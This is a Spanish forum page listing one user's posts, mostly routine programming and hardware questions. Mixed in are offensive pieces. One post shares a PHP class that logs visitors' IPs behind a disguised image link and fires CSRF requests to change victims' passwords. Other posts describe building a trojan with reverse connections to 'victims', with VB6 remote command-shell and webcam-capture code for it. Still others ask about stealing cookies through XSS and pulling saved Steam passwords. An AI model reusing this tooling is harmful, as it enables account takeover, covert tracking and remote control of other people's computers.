Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - WarGhost

#1
Software / Fraps me está volviendo loco :(
8 Junio 2013, 20:25 PM
Hola a todos,

Me gustaría comentarles un problema que me está volviendo loco. Hace unos días adquirí una licencia del tan famoso programa FRAPS, todo genial hasta que tuve que grabar algún juego.
Antes de explicar detalladamente el problema, tengo un equipo que es "bastante"(que se vean bien las comillas) potente, con lo cual no tendría que tener ningún problema a la hora de grabar los juegos que a continuación voy a describir.

Componentes mas importantes:


  • Gigabyte GA-X79-UD3
  • Intel Core i7-3820 3.60Ghz Box Socket 2011
  • Sapphire Radeon HD 7970 Dual-X 3GB GDDR5
  • G.Skill RipjawsZ DDR3 1866 PC3-14900 16GB 4x4GB CL9

Vale, el problema es que pierdo una gran cantidad de FPS una vez el vídeo está grabado, me explico con un ejemplo para que pueda tomar forma mi problema:

Grabo el juego Magic: The Gathering – Duels of the Planeswalkers 2013:


  • Resolución: 1920x1080
  • FPS sin activar el FRAPS: 300 de media.
  • FPS activando la grabación: 160 de media.
  • FPS una vez el video está grabado: 17 de media.

Como veis es algo bastante raro, la única solución posible que he encontrado es marcado la casilla de video capture settings y ponerla a 30 FPS, lo cual así si me graba "bien", pero claro me molesta que tenga que grabar a 30 cuando el ordenador tiene potencia para grabar a mas...

También he intentado grabando en los diferentes discos duros, reinstalando drivers, bajándome hasta versiones mas antiguas...

A ver si alguien me puede ayudar.
Muchas gracias a todos por su atención.
#2
Bueno hace tiempo que no revisaba las clases que tenia por el portátil y me encontré con esta, que aunque no sea muy extensa, es bastante útil para alguna que otra tontería. La subí a GIT por si a alguien le interesa.

Definición:
Básicamente es una class para poder capturar la IP/Navegador de un usuario mostrando una imagen, pdf o redirigiendo a otra web, los datos son guardados en una base de datos MySQL.
También nos vale para agilizar CSRF/XSRF ya que añadiendo los parámetros en un array ya estará creado todo el html y la redirección JS.

Enlace:
https://github.com/DaveMTC/executePhoto

Explicación:
Bueno es bastante sencillo el asunto, importamos la clase y luego llamamos a los métodos que queremos, por ejemplo:

Código (php) [Seleccionar]
<?php
    
require('class.executePhoto.php');

    
// Capturamos los datos de la conexion:
    
executePhoto::save_client();

    
// Imprimimos una imagen remota:
    
executePhoto::print_img('http://foro.elhacker.net/Themes/converted/selogo.jpg');

    
// Imprimimos un PDF:
    
executePhoto::print_pdf('http://www.boe.es/boe/dias/2013/02/04/pdfs/BOE-A-2013-1145.pdf');

    
// Parametros que seran redirigidos:
    
$param = array('contrasenya'                => '123456',
                   
'repetir_contrasenya' => '123456',
                   
'email'                      => 'ejemplo@email.com');

    
// Ejemplo de ejecucion arbitraria cambio contrasenya:
    
executePhoto::redirect_post('http://localhost/'$param);

    
// Redireccionamos la web y desconectamos a X usuario de la web:
    
executePhoto::redirect('http://localhost/logout');
?>


Tabla:
Los datos que se guardan en la base de datos son el lenguaje del navegador, la ip, el tipo de navegador, la hora y la url de referencia si es que existe.

Código (sql) [Seleccionar]
CREATE TABLE `list_clients` (
 `id` int(11) unsigned NOT NULL AUTO_INCREMENT,
 `ip` varchar(120) DEFAULT NULL,
 `lang` varchar(200) DEFAULT NULL,
 `browser` varchar(200) DEFAULT NULL,
 `referer` varchar(200) DEFAULT NULL,
 `date` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
 PRIMARY KEY (`id`),
 UNIQUE KEY `ip` (`ip`) USING BTREE
) ENGINE=InnoDB AUTO_INCREMENT=0 DEFAULT CHARSET=latin1;


htaccess:
Por ultimo también hay un .htaccess, para que la url sea mas amigable al usuario, siempre entra mejor un http://www.miweb.es/lorena-desnuda.jpg aunque también podemos usar acortadores como bit.ly

RewriteEngine On
RewriteRule ^(.*)\.jpg$ example.php [NC]


Un saludo y ojala le sirva a alguien ^^.
#3
Actualmente en España se están viviendo ciertos momentos políticos intensos en los cuales se esta debatiendo el modelo de estado, por ejemplo el tema de Cataluña y el país vasco.

Me gustaría que este debate no solo se centrara en sistemas económicos, sino tb organizativos, como por ejemplo que es preferible un estado centralista o federalista, o bien el actual estado autonómico.

También debatir sobre el sistema político, como por ejemplo cual creéis que representa mas a la ciudadanía, por ejemplo; una república, un sistema presidencialista etc..
#4
¡Hola!

Me gustaría proponer una sugerencia la cual podría ser curiosa e interesante.
La sugerencia consiste en añadir una opción para poder mencionar a usuarios del foro en los post, por ejemplo:
CitarEl usuario: @WarGhosT es un tonto.

Y una vez publicado se enviara un MP a la bandeja de entrada del la otra persona diciendo que ha sido mencionado por tal persona en X post o bien añadir un sistema de notificaciones, al puro estilo de twitter xD.

Esta función se podría editar desde cada perfil por si quieres o no ser mencionado en post.
Creo que seria bastante fácil de implementar un mod que haga dicha función y seria muy interesante sobre todo para dar una conexión mas directa entre usuario-usuario.
#5
Nivel Web / Implicaciones legales en bug XSS.
11 Septiembre 2012, 04:45 AM
¡Hola a todos!

Me gustaría saber hasta que punto es ilegal el uso de bugs XSS no persistentes, por ejemplo ¿es ilegal poner en Twitter una URL de la web Marca y en esta url que haya un XSS que cambie algún resultado etc..?

En principio ni se esta rompiendo nada, ni se esta modificando ningún dato en sus bases de datos, servidores etc.. simplemente es una broma que se ejecuta en el navegador del que abre la URL.

¿Alguien que entienda o sepa algo del tema? :P
Gracias!
#6
Desarrollo Web / Como utilizar BrowserID
26 Junio 2012, 14:48 PM
BrowserID:

¿Qué es BrowserID? Browser ID es un nuevo servicio implementado por Mozilla, que permite que los usuarios puedan controlar sus accesos a diferentes sitios de manera más segura, ejecutándose las funciones en el mismo navegador y comprobando la identidad de los usuarios en base a criptografía asimétrica.
En internet ya existen otros servicios parecidos como por ejemplo OpenID o sistema de identificación por Facebook.

¿Cuales son las ventajas de BrowserID?

  • Pueden identificarse con la misma cuanta en cualquier sitio que tenga implementado BrowserID.
  • Su registro es muy sencillo, solo tienes que poner email y contraseña, una vez hecho esto verificarla y listo.
  • Funciona perfectamente en cualquier navegador moderno.
  • Gran soporte y mucha documentación ofrecida por Mozilla, esto facilita la vida a todos los desarrolladores.
  • BrowserID protege la privacidad de nuestra actividad en la web, no filtra datos sobre qué sitios visitan los usuarios a ningún otro servidor.

Para el ejemplo que os voy a mostrar es necesario un servidor con apache/php/openSSL y utilizar el framework JQuery.

El ejemplo su basa en dos ficheros, index.php y process.php luego podéis organizarlo como queráis:

Index.php
Código (html4strict) [Seleccionar]
<?php session_start(); ?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
   <head>
       <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js" type="text/javascript"></script>
       <script src="https://browserid.org/include.js" type="text/javascript"></script>  

       <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
   <title>Ejemplo BrowserID</title>
   </head>
   
   <body>
       <script type="text/javascript">
           function gotAssertion(assertion) {  
               if (assertion !== null) {  
                   $.ajax({  
                       type: 'POST',  
                       url: 'process.php',  
                       data: { assertion: assertion },  
                           success: function(res, status, xhr) {  
                               if (res === null) {
                                   //loggedOut();  
                               } else {
                                   var oJson = jQuery.parseJSON(res);

                                   if(oJson.status == 'okay'){
                                       switch (oJson.action){
                                           case 'new':
                                               $('#login').html('Bienvenido ' + oJson.email);
                                               break;
                                           case 'old':
                                               $('#login').html('Hola ' + oJson.email);
                                               break;
                                           case 'locked':
                                               $('#login').html('Tu cuenta esta bloqueada ' + oJson.email);
                                               break;
                                           }
                                       } else {
                                           alert('Error');
                                       }
                                   }
                               },  
                               error: function(res, status, xhr) {  
                                   alert("Error de conexion");  
                               }
                           });  
                       } else {  
                           //loggedOut();  
                       }  
                   }  

               $(document).ready(function(){
                   $('#browserid').click(function() {  
                   navigator.id.get(gotAssertion, {allowPersistent: true});  
                   return false;  
               });  
           })
       </script>
       <?php if(!isset($_SESSION['email'])){ ?>
       <div id="login">
           <a href="#" id="browserid" title="Sign-in with BrowserID">  
               <img src="https://browserid.org/i/sign_in_grey.png" alt="Sign in">  
           </a>  
       </div>
       <?php } else { echo "hola " $_SESSION['email']; } ?>
   </body>
</html>


process.php
Código (php) [Seleccionar]
<?php session_start();
    class 
browserID {
        const 
REMOTE_URL 'https://browserid.org/verify';
        
        
/**
          * Datos cifrados de la session.
          * @var string 
          */
        
private $_assertion;
        
        
/**
          * Dominio.
          * @var string 
          */
        
private $_localURL;
        
        
/**
          * Solicitud que se envia a Mozilla.
          * @var array 
          */
        
private $_QueryHTTP;
        
        
/**
          * Respuesta de Mozilla.
          * @var string 
          */
        
private $_RequestJSON;
        
        
/**
         * Contructor principal, define los atributos _assertion y _localURL
         * Una vez definidos carga la solicitud HTTP desde el metodo build_query().
          * 
          * @param string $assertion Datos recibidos por el $_POST.
         * @param string $localURL Dominio en el que estas enviando la solicitud.
         */
        
public function __construct($assertion$localURL){
             
$this->_assertion $assertion;
             
$this->_localURL $localURL;
             
             
$this->build_query();
        } 
        
        
/**
         * Comprueba si fue satisfactoria la indetificación y nos devuelve un booleano.
          * 
         * @return bool retorna true si es correcto.
         */
        
public function get_is_login(){
            if(
$this->_RequestJSON->status == 'okay') return true;
        }
        
        
/**
         * Recogemos la dirección de correo de la indentificación
          * 
         * @return string dirección de correo.
         */
        
public function get_email(){
            if(
$this->get_is_login()===true) return $this->_RequestJSON->email;
        }
        
        
/**
         * Fecha en la que expira la sessión.
          * 
         * @return int retorna la fecha en formato unix.
         */
        
public function get_expire(){
            if(
$this->get_is_login()===true) return $this->_RequestJSON->expires;
        }
        
        
        
/**
         * Cambia el dominio.
          * 
         * @param string $localURL Dominio en el que estas enviando la solicitud.
         */
        
public function set_local_url($url){
            
$this->_localURL $url;
        }
        
        
/**
         * Envia la petición anteriormente creada por el metodo build_query.
         *
         * @param bool retorna true si todo salio correcto.
         */
        
public function set_http_request(){
            
$ctx stream_context_create($this->_QueryHTTP);
            
$fp fopen(self::REMOTE_URL'rb'false$ctx);
            
            if (
$fp) {
                
$result stream_get_contents($fp);
                
$this->_RequestJSON json_decode($result);
                
                return 
true;
            }
        }

        
/**
         * Contruimos la petición HTTP que sera enviada a Mozilla.
          * 
         */
        
private function build_query(){
            
$httpArray =    array('assertion' => $this->_assertion
                                  
'audience'  => urlencode($this->_localURL));
            
            
$data =     http_build_query($httpArray);
            
$this->_QueryHTTP = array('http' => array( 'method'  => 'POST',
                                                       
'content' => $data,
                                                       
'header'  => "Content-type: application/x-www-form-urlencoded\r\n"
                                                                  
"Content-Length: " strlen($data) . "\r\n")
                                      );
        }
    }

    
//Creamos el objeto y damos los argumentos, es importante enviar el dominio correcto.
    
$objBrowserID = new browserID($_POST['assertion'], 'www.tusitioweb.com');
    
    if(
$objBrowserID->set_http_request()){
        if(
$objBrowserID->get_is_login() === true) {
             
//Aqui se tendria que comprobar en nuestra base de datos si existe el usuario o en su defecto, crearlo.
             
$_SESSION['email'] = $objBrowserID->get_email();
             
$_SESSION['assertion'] = $_POST['assertion'];
             
             
$json    = array( 'status' => 'okay',
                               
'action' => 'new',
                               
'email'  => $_SESSION['email']);
        }
        
        echo 
json_encode($json);
    }
?>


Espero que os haya podido ayudar en alguno, para mas información sobre BrowserID: https://developer.mozilla.org/en/BrowserID/
#7
Como se venia haciendo en estos hilos:


Hacemos otro para este año, y así tenemos información mas nueva.

Formato del post:

Empresa:
País:
Servicios:
Precios:
Ventajas:
Desventajas:
Otros datos relevantes:

URL Oficial (no afiliados o sera eliminada):

Ejemplo:

CitarEmpresa: Hospedajes MundialesHOSPEDAJES MUNDIALES
País: España y latino ametica
Servicios: Hostings, Servidores, VPS y Dominios. HOSTING, SERVIDORES, VPS, DOMINIOS
Precios: Dominios desde 5€, Hosting desde 10€.
Ventajas: Muy buenos precios.
Desventajas: Gran soporte
Otros datos relevantes: Nada relevante.

URL Oficial: http://www.url.com/

Por ultimo también podéis votar cual es el mejor hosting desde aquí.
#8
Nivel Web / Fallo de seguridad en tuenti.
30 Mayo 2012, 18:17 PM
Buenos, no se si alguien sabe la dirección de correo electrónico que utiliza la red social tuenti para reportar fallos de seguridad o bien si es como facebook que tiene un sistema de reportes web.

Un saludo y gracias! y si alguien tiene alguna experiencia reportado fallos de seguridad en esta red social... que me comente su experiencia.

Gracias un saludo
#9
Os dejo aquí un código que usaba hace algún tiempo para poder gestionar una web modular desde AJAX, la verdad deje de usuario por que como mucho ya saben AJAX y Google ademas de incontables problemas con los estándares de accesibilidad.

De todos modos es divertido y para aplicaciones propias es muy interesante.

Primero que nada necesitamos dos Plugins:


Aquí el código XHTML para cargar la web modular:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
       
        <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js" type="text/javascript"></script>
        <script src="js/basic.js" type="text/javascript"></script>
        <script src="js/jquery.history.js" type="text/javascript"></script>

<title>Web Modular.</title>
    </head>

    <body>
        <div id="mainPage">
            <div id="wrapper-xmlHttpRequest">
            </div>
        </div> 
    <body>
</html>


Y aquí el código JS que representaría basic.js:
goes=true;

function ajaxLoad(address, title, variable, top) {
$("#wrapper-xmlHttpRequest").load("mainfile.php?page=" + address + variable, function() {
if(title!=""){document.title = "Tu sitio web - " + title;}
if(goes==true){
goes=false;
if(top==true){
var b=$("html").offset();
var a=b.top;

$("html, body").animate({scrollTop:a},500, function() {goes=true;});
}
}
});
}

$(document).ready(function(){
$.history.init(function(url) {
var page = location.hash.replace("#","").split("/");

if(page[1]==undefined){
location.hash="#/home/"
} else{
switch(page[1].toLowerCase()){
case "home":
ajaxLoad("home","Portada","", true);
break;
default:
location.hash="#/error/404/";
}
}
});
})


Para añadir un modulo solo tienes que añadir un nuevo case y utilizar la función ajaxLoad, dicha
Citarfuncion tiene 4 argumentos:
address - "dirección del modulo en el fichero php"
title - "titulo de la pagina"
variable - "argumentos que quieras enviar"
top - "si pones true la pagina se eleva hasta arriba, sino se queda como esta."

Como os digo, no recomiendo mucho su uso pq da conflictos con SEO, SEM, Open graph etc... pero si estas en un proyecto pequeño y quieres probar el potencial de ajax viene muy bien.

Espero haber podido ayudar!
Un saludo
#10
Buenas!!!, estoy haciendo unas pruebas y me gustaría saber si es posible insertar a datos a otra tabla desde un update, como hace select con union, pero con update:
update tabla set date=80 where ID=3 union update tabla2 set date2=10 where ID=1

Sabéis si existe algún tipo de union pero para update?

query básico:
update tabla set date=80 where ID=3
#11
Hola!!! Bueno he estado buscando por el foro y la verdad encontre marial pero bastante antiguo, sabe alguien algun paper, o manual de inyecciones sql??

Un saludo y gracisa
#12
Me gustaría saber vuestras opiniones sobre que functions le podrias a vuestra herramienta de administración remota.

Si es con detalles mejor.
Salu2
#13
Hacking / Seguridad de las cookies.
2 Junio 2011, 01:21 AM
Buenas a todos!, bueno estoy revisando la seguridad de mis webs y estoy ahora mismo viendo para conseguir la máxima confidencialidad de las cookies de mis usuarios, estuve viendo que los ataques XSS que intentan robar las cookies con HttpOnly ya se arregla, luego estuve viendo los protocoles TRACE pero ya en los navegadores modernos estan desactivados.

Mi cuestión es, ¿Existe algún otro método para sustraer cookies(Sin acceso al PC, solo desde XSS)
#14
PHP / E-PHP 1.0 Beta - Editor de PHP
26 Noviembre 2006, 02:10 AM
.:E-PHP 1.0 Beta:.
[/size]

E.PHP es una Herramienta para poder crear paginas en php y también puedes llegar a compilar el código php en un EXE.

La Versión Beta tiene ya:
  • Opciones Básicas(Abrir ,Guardar etc...).
  • Compilar el código php en un EXE.
  • Vista previa del código php.
  • Etiquetas HTML.
  • Códigos PHP.

    Versión Final:
  • Biblioteca de códigos PHP
  • Biblioteca de etiquetas HTML
  • Creación de Proyectos con múltiples paginas PHP.
  • Mejora Gráfica de la GUI.
  • Estabilizar Programa.
  • Instalador.
  • Mejora en Colores del codigo.

    Programas esternos:
  • PHP 5
  • Bambalam PHP EXE 1.2

    Imagenes:



    Descargar:
  • http://rapidshare.com/files/4839017/E-PHP_1.0.rar.html
  • Peso: 8,38 MB

    P.D:Se Buscan Programadores PHP para Crear las Bibliotecas PHP y también algún diseñador que este interesado para los logotipos etc. muchas gracias a todos.

    ;D Salu2
#15
http://www.youtube.com/watch?v=4CTy7Nx0oPI

Os invito a que echeis un ojo al video y despues leais el siguiente párrafo.

¿Por qué? Mientras la gente ha estado horas, incluso días en una cola para gastarse sus ahorros en la PS3, otros la compran y se van directamente a destrozarla con una maza. ¿El resultado? Los 600 dólares más tirados a la basura del mundo.

Y es que a los que les sobra de un lado, les falta de otro.
#16
Juegos y Consolas / Hay alguna forma de Conseguir...
15 Septiembre 2006, 20:44 PM
Hay alguna forma de conseguir la contraseña de steam guarda en el PC esque se me a olvidado y solo esta guarda en el PC ,éxite algún programa(como mspass) o algún método?.


;D Salu2, WarGhost
#17
Sugerencias y dudas sobre el Foro / Error o Verdad?
9 Septiembre 2006, 22:32 PM
Navegando por las estadisticas de elhacker.net me e encontrado con esto:

Esos son los que mas publican?


Osea el tiene 16777215 mensajes y no creo que tenga tantos mensajes ,además en menos de un mes xD.

Creo que es un Error pero no se   ;D ;D

;D Salu2, WarGhost
#18
Programación Visual Basic / Estilo XP
29 Agosto 2006, 17:58 PM
Hay algún modo de hacer que los controles "Microsoft windows Common Controls 6.0" puedan estar al Estilo XP con la Version 5.0 si que se puede pero con la 6.0 no alguien me puede ayudar?
#19
Programación Visual Basic / Duda sobre P-Code
24 Julio 2006, 19:10 PM
Tengo una duda solo la molificación del compilador  :P comento estoy haciendo un proyecto y el exe final compilado normal se que queda en 212 KB pero seleccionado P-Code se que queda en 128 KB solo quiero saber si se pierda calidad del exe o funciona pero¿?
#20
Public Declare Function SendMessage Lib "USER32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Public Declare Function capCreateCaptureWindow Lib "avicap32.dll" Alias "capCreateCaptureWindowA" (ByVal lpszWindowName As String, ByVal dwStyle As Long, ByVal X As Long, ByVal Y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hwndParent As Long, ByVal nID As Long) As Long

Public mCapHwnd As Long

Public Const CONNECT As Long = 1034
Public Const DISCONNECT As Long = 1035
Public Const GET_FRAME As Long = 1084
Public Const COPY As Long = 1054


Private Sub Form_Load()
On Error Resume Next
mCapHwnd = capCreateCaptureWindow("WebcamCapture", 0, 0, 0, 320, 240, Me.hwnd, 0)
DoEvents: SendMessage mCapHwnd, CONNECT, 0, 0

End Sub

Private Sub Form_Unload(Cancel As Integer)
On Error Resume Next
DoEvents: SendMessage mCapHwnd, DISCONNECT, 0, 0
End Sub

Private Sub Timer1_Timer()
On Error Resume Next
SendMessage mCapHwnd, GET_FRAME, 0, 0
SendMessage mCapHwnd, COPY, 0, 0
Picture1.Picture = Clipboard.GetData
End Sub


Este Codigo es el que tengo pero ami me gustaria saber si hay laguna otra forma de capturar la webCam pero esa no me gusta. hay alguna forma de por ejemplo solo capturar una imagen de la cam.

;D Salu2, WarGhost
#21
Estoy haciendo un proyecto no se si se puede hacer inyeccion de procesos en vb6 solo me gustaria saber si es posible.

;D Salu2, WarGhost
#22
como puedo conseguir la altura que mide la barra de incio.

;D Salu2, WarGhost
#23
Hay alguna forma de crear un servidor smtp en vb6 si no se puede en vb6 pues alomejor en c++, Delphi.

aver si alguien me puede ayudar.
#24
eso si hay alguna forma de enviar un email sin saber el nombre del servidor smtp.

;D Salu2, WarGhost
#25
Programación Visual Basic / Ayuda con Shell
23 Junio 2006, 21:24 PM
una pregunta esque tengo un modulo para hacer una shell:

Option Explicit

Public Declare Function CreatePipe Lib "kernel32" ( _
          phReadPipe As Long, _
          phWritePipe As Long, _
          lpPipeAttributes As Any, _
          ByVal nSize As Long) As Long
     
      'Leer Tunel
      Public Declare Function ReadFile Lib "kernel32" ( _
          ByVal hFile As Long, _
          ByVal lpBuffer As String, _
          ByVal nNumberOfBytesToRead As Long, _
          lpNumberOfBytesRead As Long, _
          ByVal lpOverlapped As Any) As Long
     
      'Esto lo usa la funcion CreateProcessA
      Public Type SECURITY_ATTRIBUTES
          nLength As Long
          lpSecurityDescriptor As Long
          bInheritHandle As Long
      End Type
     
      'Esto lo usa la funcion CreateProcessA
      Public Type STARTUPINFO
          cb As Long
          lpReserved As Long
          lpDesktop As Long
          lpTitle As Long
          dwX As Long
          dwY As Long
          dwXSize As Long
          dwYSize As Long
          dwXCountChars As Long
          dwYCountChars As Long
          dwFillAttribute As Long
          dwFlags As Long
          wShowWindow As Integer
          cbReserved2 As Integer
          lpReserved2 As Long
          hStdInput As Long
          hStdOutput As Long
          hStdError As Long
      End Type
     
      'Esto lo usa la funcion CreateProcessA
      Public Type PROCESS_INFORMATION
          hProcess As Long
          hThread As Long
          dwProcessId As Long
          dwThreadID As Long
      End Type
     
      'Esta funcion lanza el proceso y
      'devuelve sus datos a traves de PROCESS_INFORMATION
      Public Declare Function CreateProcessA Lib "kernel32" ( _
          ByVal lpApplicationName As Long, _
          ByVal lpCommandLine As String, _
          lpProcessAttributes As SECURITY_ATTRIBUTES, _
          lpThreadAttributes As SECURITY_ATTRIBUTES, _
          ByVal bInheritHandles As Long, _
          ByVal dwCreationFlags As Long, _
          ByVal lpEnvironment As Long, _
          ByVal lpCurrentDirectory As Long, _
          lpStartupInfo As STARTUPINFO, _
          lpProcessInformation As PROCESS_INFORMATION) As Long
     
      'Cierra el tunel
      Public Declare Function CloseHandle Lib "kernel32" ( _
          ByVal hHandle As Long) As Long
     
      'Constantes necesarias para lo de antes
      Public Const NORMAL_PRIORITY_CLASS = &H20&
      Public Const STARTF_USESTDHANDLES = &H100&
      Public Const STARTF_USESHOWWINDOW = &H1
     
     

Public Function CMD32(ByVal Comando As String) As String
Dim mCommand, mOutputs
      On Error GoTo ACAGAR
          Dim proc As PROCESS_INFORMATION     'Informacion de CreateProcessA
          Dim ret As Long                     'Esto se usa para obtener el retorno de las
                                              'funciones API
          Dim start As STARTUPINFO            'Informacion de inicio para CreateProcessA
     
          Dim SA As SECURITY_ATTRIBUTES       'Atributos de seguridad para
                                              'CreateProcessA
          Dim hReadPipe As Long               'Lectura de Tunel
          Dim hWritePipe As Long              'Escritura de Tunel
          Dim lngBytesread As Long            'Cantidad de Bytes leidos
          Dim strBuff As String * 256         'Buffer de lectura de tunel
     
          'Creamos el tunel...
          SA.nLength = Len(SA)
          SA.bInheritHandle = 1&
          SA.lpSecurityDescriptor = 0&
          ret = CreatePipe(hReadPipe, hWritePipe, SA, 0)
         
          If ret = 0 Then
              'Si falla la creacion del tunel
              CMD32 = "Fallo de Conexion con Proceso. Error: " & Err.LastDllError
              Exit Function
          End If
         
          'Lanzamos el interprete de comandos...
          start.cb = Len(start)
          start.dwFlags = STARTF_USESTDHANDLES Or STARTF_USESHOWWINDOW
          start.hStdOutput = hWritePipe
          start.hStdError = hWritePipe
          'Buscar la ruta del CMD.exe y añadir /c y el comando
          mCommand = Environ("COMSPEC") + " /c " + Comando
          'Creamos el proceso usando la String mCommand de antes...
          'y obtenemos RET para saber si se ha ejecutado
          ret& = CreateProcessA(0&, mCommand, SA, SA, 1&, _
              NORMAL_PRIORITY_CLASS, 0&, 0&, start, proc)
             
          If ret <> 1 Then
              'si no se encuentra el comando...
              CMD32 = "Archivo o Comando no encontrado"
              Exit Function
          End If
         
          'Cerramos el tunel
          ret = CloseHandle(hWritePipe)
          mOutputs = ""
         
          'lo leemos
          Do
              ret = ReadFile(hReadPipe, strBuff, 256, lngBytesread, 0&)
              mOutputs = mOutputs & Left(strBuff, lngBytesread)
          Loop While ret <> 0
         
          'cerramos los Handles (controladores)
          ret = CloseHandle(proc.hProcess)
          ret = CloseHandle(proc.hThread)
          ret = CloseHandle(hReadPipe)
         
          'y hacemos que la funcion devuelva el resultado del comando a traves
          ' de la string mOutputs
          CMD32 = mOutputs
          Exit Function
ACAGAR:
          CMD32 = "Error:" + Err.Description
      End Function



pero no es compatible con Windows 98 hay alguno forma de hacerlo ¿?¿?
#26
pues eso aber si alguien me puede ayuar  ;D.

;D Salu2, WarGhost
#27
esa es mi pregunta como se podria hacer esque no tiene ningun control hay ,creo :P :P


;D Salu2, WarGhost
#28
Pues eso que como se pueden manipular archivos de 600 MB por ejemplo, esque cuando los abres con open el programa se bloquea y se desborda la pila.


;D SAlu2, WarGhost
#29
Programación Visual Basic / Una ayudita
6 Junio 2006, 22:08 PM
Aber si alguien me puede ayudar.

estoy haciendo un program y me gustari saber como ser puede hacer para que puedas abrir un mismo form muchas veces.

;D SAlu2, WArghost
#30
Hay alguna forma de comprimir las capturas de la web cam esque se me quedan 460 kb y para enviar las a tiempo real llegara cada foro con mas de 1 o 2 minutos de retraso.

hay alguna forma de que las capturas se compriman.

por ejemplo bifrost las capturas de de 6 a 8 kb.


;D Salu2, WarGhost
#31
He buscado por todos los lados y no encuentro nada necesito canviar en icono de un fichero y no tengo ni idea de como hacerlo ,haber si alguien me puede ayudar.

;D Salu2, WarGhost
#32
para una pregunta tonta pero se puede hacer en visual basic que en un textbox tenga colores diferentes tipo esto

CitarError el puerto esta siendo utlizado

eso en un solo textbox.


;D Salu2, WarGhost
#33
Buenas estoy haciendo una aplicacion que lo que hace es poder conectarnos a varias victimas ala vez con conexion inversa.

pero claro para hacer esto utilizo, por ejemplo el puerto 3541 + index del winsock pero lo que pasa esque claro cuando tienes un router ,hay esta el problema que como no saves que puerto se abrira no se puden quitar el firewall del router.


aber si alguien me puede ayudar


;D Salu2, WarGhost
#34
aver si alguien me puede ayudar, comento:

Estoy haciendo un troyano y lo quiero hacerlo multilenguaje pero hacelo con archivos ini tipo prorat asi se pueden hacer mas idiomas con el archivo ya compilado pero lo que pasa esque yo utilizado esto ejemplo:

Modulo:

Option Explicit
Private Declare Function GetPrivateProfileString Lib "Kernel32" Alias "GetPrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpDefault As String, ByVal lpReturnedString As String, ByVal nSize As Long, ByVal lpFileName As String) As Long
Private Declare Function WritePrivateProfileString Lib "Kernel32" Alias "WritePrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpString As Any, ByVal lpFileName As String) As Long

Public Function LeerIni(lpFileName As String, lpAppName As String, lpKeyName As String, Optional vDefault) As String
    Dim lpString As String
    Dim LTmp As Long
    Dim sRetVal As String

    If IsMissing(vDefault) Then
        lpString = ""
    Else
        lpString = vDefault
    End If

    sRetVal = String$(255, 0)

    LTmp = GetPrivateProfileString(lpAppName, lpKeyName, lpString, sRetVal, Len(sRetVal), lpFileName)
    If LTmp = 0 Then
        LeerIni = lpString
    Else
        LeerIni = Left(sRetVal, LTmp)
    End If
End Function

Sub GuardarIni(lpFileName As String, lpAppName As String, lpKeyName As String, lpString As String)
    Dim LTmp As Long

    LTmp = WritePrivateProfileString(lpAppName, lpKeyName, lpString, lpFileName)
End Sub

Codigo sacado de elguille


y en el form:

dim variable
varible1 = LeerIni("C:\español.ini", "Español","Boton1" )

command1.caption = varible1



pero el proble esque si tengo por ejemplo 100 botones hay que definir 100 variable y para un programa grande es un coñazo.


¿Hay alguna forma de no tener que definir tantas variables?

;d salu2
#35
Bueno alguien conoze algun codigo para escriptar archivos de grandes tamaños esque e provado un monton y ni uno todos me dan error.


;D Salu2, WarGhost
#36
Bueno esta es mi pregunta:

¿En visual basic 6 se pueden hacer bocadillos de dialgoso, y si se pueden hacer como?

en delphi si que se puede hacer pero en vb6 ni idea.



;D Salu2, WarGhost
#37
hola me gustaria saber como puedo cojer un archivo de por ejemplo un Giga y partirlo en cachos de 10 megas y que se guarden un un directorio expezificado.


???

saludos, y gracias
#38
Bueno decidi ponerme a hacer un pequeño tuto de como crear un FTP, tratare de explicarlo lo mejor posible! ;D

Veamos:

Lo primero que nesecitamos es una API (libreria de windows) que nos permita hacer las conexiones,el paso de archivos, y demas comandos que en un cliente de ftp (protocolo de transferencia de archivos) estan presentes.

Ustedes diran ...... y ahora? bueno para eso estoy aqui  :P

usaremos la libreria de windows llamada WININET.dll..... pero porque esa libreria y no otra diran ustedes?

bueno para los que recien empiezan WININET es un módulo que contiene las funciones relacionadas con el internet  usadas por por las aplicaciones de windows.

ahora que ya sabemos que .dll usar, pasemos al desarrollo del programa!
lo primero que hago siempre que desarrollo un soft, es declarar las funciones de la libreria ( creo que todos hacen lo mismo no? jaja  ;D).

para eso creamos un archivo de tipo ".bas" dentro del proyecto!

veamos que funciones nos brinda WININET!

antes que nada le ponemos un nombre no?
Attribute VB_Name = "modWinInet"
fijense como lo declaran dentro del proyecto ;)

ahora, como debemos declarar las variables, tenemos que poner qu se declaren SI O SI!!
Option Explicit
ustedes diran y?? eso para que es? ?? jaja, bueno al igual que en el lenguaje ASP, se usa esto para que las variables se puedan usar correctamente

empezemos con las variables......

Declare Function GetProcessHeap Lib "kernel32" () As Long
Declare Function HeapAlloc Lib "kernel32" (ByVal hHeap As Long, ByVal dwFlags As Long, ByVal dwBytes As Long) As Long
Declare Function HeapFree Lib "kernel32" (ByVal hHeap As Long, ByVal dwFlags As Long, lpMem As Any) As Long
Public Const HEAP_ZERO_MEMORY = &H8
Public Const HEAP_GENERATE_EXCEPTIONS = &H4


y ahora que haces ghost? vos estas loco? dijiste que usemos WININET y me mandas KERNEL32?? ???

